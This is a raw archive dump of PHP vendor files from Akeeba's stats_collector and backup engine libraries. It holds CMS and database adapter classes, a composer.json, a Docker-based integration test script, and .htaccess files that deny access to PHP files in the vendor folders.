	 * @return  string|null  The WordPress version. NULL when it cannot be determined.
	 * @since   1.0.0
	 */
	private function getWPVersion(): ?string
	{
		$filePath = ABSPATH . '/' . WPINC . '/version.php';

		if (!@file_exists($filePath) || !@is_file($filePath) || !@is_readable($filePath))
		{
			return null;
		}

		try
		{
			include $filePath;
		}
		catch (Throwable $e)
		{
			return null;
		}

		if (function_exists('classicpress_version'))
		{
			/** @noinspection PhpUndefinedFunctionInspection */
			return classicpress_version();
		}

		if (isset($cp_version))
		{
			return $cp_version;
		}

		/** @noinspection PhpUndefinedVariableInspection */
		return $wp_version;
	}
}PK     \F6    C  vendor/akeeba/stats_collector/src/CmsInfo/Adapter/JoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CmsInfo\Adapter;

use Akeeba\UsageStats\Collector\Constants\CmsType;
use Joomla\CMS\Version;

/**
 * Collect CMS information adapter for Joomla sites, version 4 and later
 */
final class JoomlaAdapter implements AdapterInterface
{

	/** @inheritDoc */
	public function getType(): int
	{
		return CmsType::JOOMLA;
	}

	/** @inheritDoc */
	public function getVersion(): string
	{
		return JVERSION;
	}

	/** @inheritDoc */
	public function isAvailable(): bool
	{
		return defined('_JEXEC') && class_exists(Version::class);
	}
}PK     \Sʉ      ;  vendor/akeeba/stats_collector/src/CmsInfo/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      3  vendor/akeeba/stats_collector/src/CmsInfo/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      +  vendor/akeeba/stats_collector/src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|]@
  
  E  vendor/akeeba/stats_collector/src/CommonVariables/CommonVariables.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables;

use Akeeba\UsageStats\Collector\CommonVariables\Adapter\AdapterInterface;
use Akeeba\UsageStats\Collector\CommonVariables\Adapter\AdminToolsWPAdapter;
use Akeeba\UsageStats\Collector\CommonVariables\Adapter\AkeebaEngineAdapter;
use Akeeba\UsageStats\Collector\CommonVariables\Adapter\DarkLinkAdapter;
use Akeeba\UsageStats\Collector\CommonVariables\Adapter\JoomlaAdapter;
use Akeeba\UsageStats\Collector\CommonVariables\Adapter\PanopticonAdapter;
use Akeeba\UsageStats\Collector\CommonVariables\Adapter\WordPressAdapter;

/**
 * A utility class to get common variables across Akeeba software in a CMS / database installation.
 *
 * @since  1.0.0
 */
final class CommonVariables
{
	private const ADAPTERS = [
		PanopticonAdapter::class,
		DarkLinkAdapter::class,
		AdminToolsWPAdapter::class,
		JoomlaAdapter::class,
		WordPressAdapter::class,
		AkeebaEngineAdapter::class,
	];

	/**
	 * The adapter to interact with the common variables
	 *
	 * @var   null|AdapterInterface
	 * @since 1.0.0
	 */
	private $adapter = null;

	/**
	 * Load a variable from the common variables table. If it does not exist, it returns the default value
	 *
	 * @param   string  $key      The key to retrieve
	 * @param   mixed   $default  The default value in case the key is missing (default: NULL)
	 *
	 * @return  string|null  The value of the common variable; NULL if it does not exist
	 * @since   1.0.0
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string
	{
		$adapter = $this->getAdapter();

		return ($adapter === null) ? $default : $adapter->getCommonVariable($key, $default);
	}

	/**
	 * Set a variable to the common variables table.
	 *
	 * @param   string       $key    The key to set
	 * @param   string|null  $value  The value to set
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function setCommonVariable(string $key, ?string $value): void
	{
		$adapter = $this->getAdapter();

		if (empty($adapter))
		{
			return;
		}

		$adapter->setCommonVariable($key, $value);
	}

	/**
	 * Get the appropriate adapter for handling common variables
	 *
	 * @return  AdapterInterface|null
	 * @since   1.0.0
	 */
	private function getAdapter(): ?AdapterInterface
	{
		if ($this->adapter !== null)
		{
			return $this->adapter;
		}

		foreach (self::ADAPTERS as $className)
		{
			if (!class_exists($className))
			{
				continue;
			}

			/** @var AdapterInterface $o */
			$o = new $className;

			if (!$o->isAvailable())
			{
				continue;
			}

			return $this->adapter = $o;
		}

		return null;
	}
}PK     \ˡ\p	  	  Q  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/AkeebaEngineAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use Akeeba\Engine\Driver\Base as BaseDriver;
use Akeeba\Engine\Factory;
use Throwable;

final class AkeebaEngineAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string
	{
		$db = $this->getDatabase();

		if ($db === null)
		{
			return $default;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('value'))
			->from($db->qn('#__akeeba_common'))
			->where($db->qn('key') . ' = ' . $db->q($key));

		try
		{
			$db->setQuery($query);
			$result = $db->loadResult();
		}
		catch (Throwable $e)
		{
			$result = $default;
		}

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public function setCommonVariable(string $key, ?string $value): void
	{
		$db = $this->getDatabase();

		if ($db === null)
		{
			return;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->qn('#__akeeba_common'))
			->where($db->qn('key') . ' = ' . $db->q($key));

		try
		{
			$db->setQuery($query);
			$count = $db->loadResult();
		}
		catch (Throwable $e)
		{
			return;
		}

		if (!$count)
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->qn('#__akeeba_common'))
				->columns([$db->qn('key'), $db->qn('value')])
				->values($db->q($key) . ', ' . $db->q($value));
		}
		else
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn('#__akeeba_common'))
				->set($db->qn('value') . ' = ' . $db->q($value))
				->where($db->qn('key') . ' = ' . $db->q($key));
		}

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Throwable $e)
		{
		}
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('AKEEBAENGINE')
		       && class_exists(Factory::class)
		       && class_exists(BaseDriver::class);
	}

	/**
	 * Get the database driver from the Akeeba Engine (backup engine)
	 *
	 * @return  BaseDriver|null
	 * @since   1.0.0
	 */
	private function getDatabase(): ?BaseDriver
	{
		try
		{
			return Factory::getDatabase();
		}
		catch (Throwable $e)
		{
			return null;
		}
	}
}PK     \ܡ    N  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/WordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use wpdb;

/**
 * Common variables adapter for the WordPress CMS
 *
 * @since  1.0.0
 */
final class WordPressAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string
	{
		$db = $this->getDatabase();

		if ($db === null)
		{
			return $default;
		}

		$tableName = $db->prefix . 'akeeba_common';

		$query = 'SELECT `value` FROM `' . $tableName . '` WHERE `key` = %s';
		$query = $db->prepare($query, $key);

		return $db->get_var($query) ?? $default;
	}

	/**
	 * @inheritDoc
	 */
	public function setCommonVariable(string $key, ?string $value): void
	{
		$db = $this->getDatabase();

		if ($db === null)
		{
			return;
		}

		$tableName = $db->prefix . 'akeeba_common';
		$data      = [
			'key'   => $key,
			'value' => $value,
		];

		$db->replace($tableName, $data);
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('WPINC') && ($this->getDatabase() !== null);
	}

	/**
	 * Get the WordPress database object
	 *
	 * @return  wpdb|null
	 * @since   1.0.0
	 */
	private function getDatabase(): ?wpdb
	{
		global $wpdb;

		if (!class_exists(wpdb::class) || !isset($wpdb) || (!$wpdb instanceof wpdb) || !$wpdb->is_mysql)
		{
			return null;
		}

		return $wpdb;
	}

}PK     \X`3    N  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/AdapterInterface.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

/**
 * Adapter interface for interacting with common variables
 *
 * @since  1.0.0
 */
interface AdapterInterface
{
	/**
	 * Load a variable from the common variables table. If it does not exist, it returns the default value
	 *
	 * @param   string  $key      The key to retrieve
	 * @param   mixed   $default  The default value in case the key is missing (default: NULL)
	 *
	 * @return  string|null  The value of the common variable; NULL if it does not exist
	 * @since   1.0.0
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string;

	/**
	 * Set a variable to the common variables table.
	 *
	 * @param   string       $key    The key to set
	 * @param   string|null  $value  The value to set
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function setCommonVariable(string $key, ?string $value): void;

	/**
	 * Is the adapter available under the current operating environment?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAvailable(): bool;
}PK     \    O  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/PanopticonAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use Akeeba\Panopticon\Factory;
use Awf\Container\Container;

/**
 * Common Variables Interaction Adapter for Akeeba Panopticon
 *
 * @since  1.0.0
 */
final class PanopticonAdapter extends AbstractAwfAdapter
{

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return class_exists(\Akeeba\Panopticon\Container::class);
	}

	/**
	 * @inheritDoc
	 */
	protected function getContainer(): Container
	{
		return Factory::getContainer();
	}
}PK     \g	  	  P  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/AbstractAwfAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use Awf\Container\Container;
use Throwable;

/**
 * Abstract common variables interaction adapter for AWF application
 *
 * @since  1.0.0
 */
abstract class AbstractAwfAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string
	{
		try
		{
			$db = $this->getContainer()->db;
		}
		catch (Throwable $e)
		{
			return $default;
		}

		if ($db === null)
		{
			return $default;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('value'))
			->from($db->quoteName('#__akeeba_common'))
			->where($db->quoteName('key') . ' = ' . $db->quote($key));

		try
		{
			$db->setQuery($query);
			$result = $db->loadResult();
		}
		catch (Throwable $e)
		{
			$result = $default;
		}

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public function setCommonVariable(string $key, ?string $value): void
	{

		try
		{
			$db = $this->getContainer()->db;
		}
		catch (Throwable $e)
		{
			return;
		}

		if ($db === null)
		{
			return;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->quoteName('#__akeeba_common'))
			->where($db->quoteName('key') . ' = ' . $db->quote($key));

		try
		{
			$db->setQuery($query);
			$count = $db->loadResult();
		}
		catch (Throwable $e)
		{
			return;
		}

		if (!$count)
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->quoteName('#__akeeba_common'))
				->columns([$db->quoteName('key'), $db->quoteName('value')])
				->values($db->quote($key) . ', ' . $db->quote($value));
		}
		else
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->quoteName('#__akeeba_common'))
				->set($db->quoteName('value') . ' = ' . $db->quote($value))
				->where($db->quoteName('key') . ' = ' . $db->quote($key));
		}

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Throwable $e)
		{
		}
	}

	/**
	 * Returns the AWF container for the specific application
	 *
	 * @return  Container
	 * @since   1.0.0
	 */
	protected abstract function getContainer(): Container;
}PK     \Utl	  	  K  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/JoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use Joomla\CMS\Factory;
use Joomla\Database\DatabaseInterface;
use Throwable;

/**
 * Common variables adapter for the Joomla CMS, version 4 or later
 *
 * @since 1.0.0
 */
final class JoomlaAdapter implements AdapterInterface
{
	/**
	 * @inheritDoc
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string
	{
		$db = $this->getDatabase();

		if (!$db instanceof DatabaseInterface)
		{
			return $default;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('value'))
			->from($db->qn('#__akeeba_common'))
			->where($db->qn('key') . ' = :key')
			->bind(':key', $key);

		try
		{
			$db->setQuery($query);
			$result = $db->loadResult();
		}
		catch (Throwable $e)
		{
			$result = $default;
		}

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public function setCommonVariable(string $key, ?string $value): void
	{
		$db = $this->getDatabase();

		if (!$db instanceof DatabaseInterface)
		{
			return;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->qn('#__akeeba_common'))
			->where($db->qn('key') . ' = :key')
			->bind(':key', $key);

		try
		{
			$db->setQuery($query);
			$count = $db->loadResult();
		}
		catch (Throwable $e)
		{
			return;
		}

		try
		{
			$commonVariableObject = (object) [
				'key'   => $key,
				'value' => $value,
			];

			if (!$count)
			{
				$db->insertObject('#__akeeba_common', $commonVariableObject);
			}
			else
			{
				$db->updateObject('#__akeeba_common', $commonVariableObject, 'key');
			}
		}
		catch (Throwable $e)
		{
		}
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('JVERSION')
		       && version_compare(JVERSION, '4.0.0', 'ge')
		       && defined('_JEXEC')
		       && interface_exists(DatabaseInterface::class)
		       && class_exists(Factory::class)
		       && ($this->getDatabase() instanceof DatabaseInterface);
	}

	/**
	 * Get the Joomla database object
	 *
	 * @return  DatabaseInterface|null
	 * @since   1.0.0
	 */
	private function getDatabase(): ?DatabaseInterface
	{
		try
		{
			return Factory::getContainer()->get(DatabaseInterface::class);
		}
		catch (Throwable $e)
		{
			return null;
		}
	}
}PK     \How;	  	  Q  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/AdminToolsWPAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use Akeeba\AdminTools\Admin\Helper\Wordpress;
use Akeeba\AdminTools\Library\Database\Driver;
use Throwable;

/**
 * Adapter for Admin Tools for WordPress
 *
 * @since 1.0.0
 */
final class AdminToolsWPAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getCommonVariable(string $key, ?string $default = null): ?string
	{
		$db = $this->getDatabase();

		if ($db === null)
		{
			return $default;
		}

		try
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select($db->qn('value'))
				->from($db->qn('#__akeeba_common'))
				->where($db->qn('key') . ' = ' . $db->q($key));

			$db->setQuery($query);
			$result = $db->loadResult();
		}
		catch (Throwable $e)
		{
			$result = $default;
		}

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public function setCommonVariable(string $key, ?string $value): void
	{
		$db = $this->getDatabase();

		if ($db === null)
		{
			return;
		}

		try
		{

			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select('COUNT(*)')
				->from($db->qn('#__akeeba_common'))
				->where($db->qn('key') . ' = ' . $db->q($key));

			$db->setQuery($query);
			$count = $db->loadResult();
		}
		catch (Throwable $e)
		{
			return;
		}

		if (!$count)
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->qn('#__akeeba_common'))
				->columns([$db->qn('key'), $db->qn('value')])
				->values($db->q($key) . ', ' . $db->q($value));
		}
		else
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn('#__akeeba_common'))
				->set($db->qn('value') . ' = ' . $db->q($value))
				->where($db->qn('key') . ' = ' . $db->q($key));
		}

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Throwable $e)
		{
		}
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return class_exists(Driver::class) && ($this->getDatabase() !== null);
	}

	/**
	 * Get the WordPress database object
	 *
	 * @return  Driver|null
	 * @since   1.0.0
	 */
	private function getDatabase(): ?Driver
	{
		try
		{
			return Wordpress::getDb();
		}
		catch (Throwable $e)
		{
			return null;
		}
	}

}PK     \Sʉ      C  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \h{    M  vendor/akeeba/stats_collector/src/CommonVariables/Adapter/DarkLinkAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CommonVariables\Adapter;

use Akeeba\DarkLink\Factory;
use Awf\Container\Container;

/**
 * Common Variables Interaction Adapter for Akeeba Panopticon
 *
 * @since  1.0.0
 */
final class DarkLinkAdapter extends AbstractAwfAdapter
{

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return class_exists(\Akeeba\DarkLink\Container::class);
	}

	/**
	 * @inheritDoc
	 */
	protected function getContainer(): Container
	{
		return Factory::getContainer();
	}
}PK     \Sʉ      ;  vendor/akeeba/stats_collector/src/CommonVariables/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      '  vendor/akeeba/stats_collector/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Y/  /  "  vendor/akeeba/engine/composer.jsonnu [        {
  "name": "akeeba/engine",
  "type": "library",
  "description": "Akeeba Engine - a site backup engine written in pure PHP",
  "keywords": [
    "backup",
    "php",
    "mysql"
  ],
  "homepage": "https://github.com/akeeba/engine",
  "license": "GPL-3.0-or-later",
  "authors": [
    {
      "name": "Nicholas K. Dionysopoulos",
      "email": "nicholas_NO_SPAM_PLEASE@akeeba.com",
      "homepage": "https://www.dionysopoulos.me",
      "role": "Lead Developer"
    },
    {
      "name": "Davide Tampellini",
      "email": "davide_NO_SPAM_PLEASE@akeeba.com",
      "homepage": "https://www.dionysopoulos.me",
      "role": "Senior Developer"
    }
  ],
  "require": {
    "akeeba/s3": "dev-development",
    "greenlion/php-sql-parser": "^4.6.0",
    "php": "^7.4.0|^8.0",
    "ext-fileinfo": "*",
    "ext-json": "*",
    "ext-mbstring": "*"
  },
  "require-dev": {
    "phpunit/phpunit": "^9.0.0",
    "rector/rector": "^0.15.21",
    "mnapoli/silly": "^1.8.3",
    "composer/ca-bundle": "^1.3.6",
    "joomla/uri": "^3.0-dev"
  },
  "suggest": {
    "ext-curl": "*",
    "ext-dom": "*",
    "ext-ftp": "*",
    "ext-mysqli": "*",
    "ext-openssl": "*",
    "ext-pdo": "*",
    "ext-simplexml": "*",
    "ext-sqlite3": "*",
    "ext-ssh2": "*",
    "ext-zip": "*"
  },
  "platform": {
    "php": "7.4.999"
  },
  "autoload": {
    "psr-4": {
      "Akeeba\\Engine\\": "engine/"
    }
  },
  "autoload-dev": {
    "psr-4": {
      "Akeeba\\Engine\\DevPlatform\\": "dev_platform/",
      "Akeeba\\Engine\\Filter\\": "dev_platform/Platform/Filter/",
      "Akeeba\\Engine\\Platform\\": "dev_platform/Platform/",
      "Akeeba\\Engine\\Test\\": "Test/"
    }
  },
  "scripts": {
    "test": "phpunit"
  },
  "archive": {
    "exclude": [
      "binned_ideas", "connector_development", "dev_platform", "run", "Test", "tools"
    ]
  }
}PK     \B
    -  vendor/akeeba/engine/run-integration-tests.shnu [        #!/usr/bin/env bash
# =============================================================================
# Akeeba Engine — MySQL/MariaDB integration test runner
#
# Spins up ephemeral Docker containers for each configured server version,
# runs the PHPUnit integration suite against each one, then tears them down.
#
# Usage:
#   ./run-integration-tests.sh               # test all configured images
#   ./run-integration-tests.sh mysql:8.0     # test one specific image
#
# Override the database password or name via environment variables:
#   DB_PASSWORD=secret DB_NAME=mydb ./run-integration-tests.sh
#
# Requirements: Docker, PHP CLI (with mysqli and PDO/mysql extensions)
# =============================================================================

set -euo pipefail

# ---------------------------------------------------------------------------
# Configuration — edit here to add or remove server versions
# ---------------------------------------------------------------------------

DEFAULT_IMAGES=(
	"mysql:8.0"
	"mysql:8.4"
	"mariadb:11.4"
	"mariadb:12.3"
)

# Host port that Docker will map to the container's 3306.
# Change this if 13306 is already occupied on your machine.
DB_HOST_PORT="${DB_HOST_PORT:-13306}"

# Database credentials used inside the container.
DB_PASSWORD="${DB_PASSWORD:-akeebatest}"
DB_NAME="${DB_NAME:-akeebatest}"

# How long (in seconds × 2) to wait for the server to become ready.
MAX_WAIT_TRIES=60

# ---------------------------------------------------------------------------
# Resolve which images to test
# ---------------------------------------------------------------------------

if [ "${1:-}" != "" ]; then
	IMAGES=("$1")
else
	IMAGES=("${DEFAULT_IMAGES[@]}")
fi

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

CONTAINER_NAME="akeebaengine_integration_$$"
FAILED=0

cleanup_container() {
	docker stop "$CONTAINER_NAME" >/dev/null 2>&1 || true
	docker rm   "$CONTAINER_NAME" >/dev/null 2>&1 || true
}

wait_for_db() {
	local tries=0

	echo "  Waiting for database server to accept connections..."

	until docker exec "$CONTAINER_NAME" mysql \
			--user=root \
			"--password=${DB_PASSWORD}" \
			--execute="SELECT 1" \
			"${DB_NAME}" >/dev/null 2>&1
	do
		tries=$((tries + 1))
		if [ $tries -ge $MAX_WAIT_TRIES ]; then
			echo "  Timed out after $((MAX_WAIT_TRIES * 2)) seconds."
			return 1
		fi
		sleep 2
	done

	echo "  Database is ready."
	return 0
}

run_tests_against() {
	local image="$1"

	echo ""
	echo "=========================================="
	echo "  Image : $image"
	echo "=========================================="

	# Remove any leftover container with the same name.
	cleanup_container

	# Start the container.  Both MYSQL_* and MARIADB_* env vars are supplied
	# so the image works regardless of which set it recognises.
	docker run --detach \
		--name "$CONTAINER_NAME" \
		--env "MYSQL_ROOT_PASSWORD=${DB_PASSWORD}" \
		--env "MARIADB_ROOT_PASSWORD=${DB_PASSWORD}" \
		--env "MYSQL_DATABASE=${DB_NAME}" \
		--env "MARIADB_DATABASE=${DB_NAME}" \
		--publish "127.0.0.1:${DB_HOST_PORT}:3306" \
		"$image" >/dev/null

	if ! wait_for_db; then
		echo "  FAILED: server did not become ready ($image)"
		cleanup_container
		return 1
	fi

	# Run the PHPUnit integration suite with the connection details exported.
	if INTEGRATION_DB_HOST=127.0.0.1 \
		INTEGRATION_DB_PORT="$DB_HOST_PORT" \
		INTEGRATION_DB_USER=root \
		INTEGRATION_DB_PASSWORD="$DB_PASSWORD" \
		INTEGRATION_DB_NAME="$DB_NAME" \
		vendor/bin/phpunit --configuration phpunit.integration.xml; then
		echo ""
		echo "  PASSED: $image"
	else
		echo ""
		echo "  FAILED: $image (test failures above)"
		cleanup_container
		return 1
	fi

	cleanup_container
	return 0
}

# ---------------------------------------------------------------------------
# Main loop
# ---------------------------------------------------------------------------

for IMAGE in "${IMAGES[@]}"; do
	if ! run_tests_against "$IMAGE"; then
		FAILED=$((FAILED + 1))
	fi
done

# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------

echo ""
echo "=========================================="
TOTAL="${#IMAGES[@]}"
PASSED=$((TOTAL - FAILED))
echo "  Results: $PASSED/$TOTAL image(s) passed"
echo "=========================================="

if [ $FAILED -ne 0 ]; then
	exit 1
fi
PK     \v    5  vendor/akeeba/engine/engine/Filter/Regexskipfiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory contents (files) exclusion filter based on regular expressions
 */
class Regexskipfiles extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'content';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \xUC    .  vendor/akeeba/engine/engine/Filter/Multidb.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Multiple Database inclusion filter
 */
class Multidb extends Base
{
	public function __construct()
	{
		$this->object  = 'db';
		$this->subtype = 'inclusion';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \8A    -  vendor/akeeba/engine/engine/Filter/Tables.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

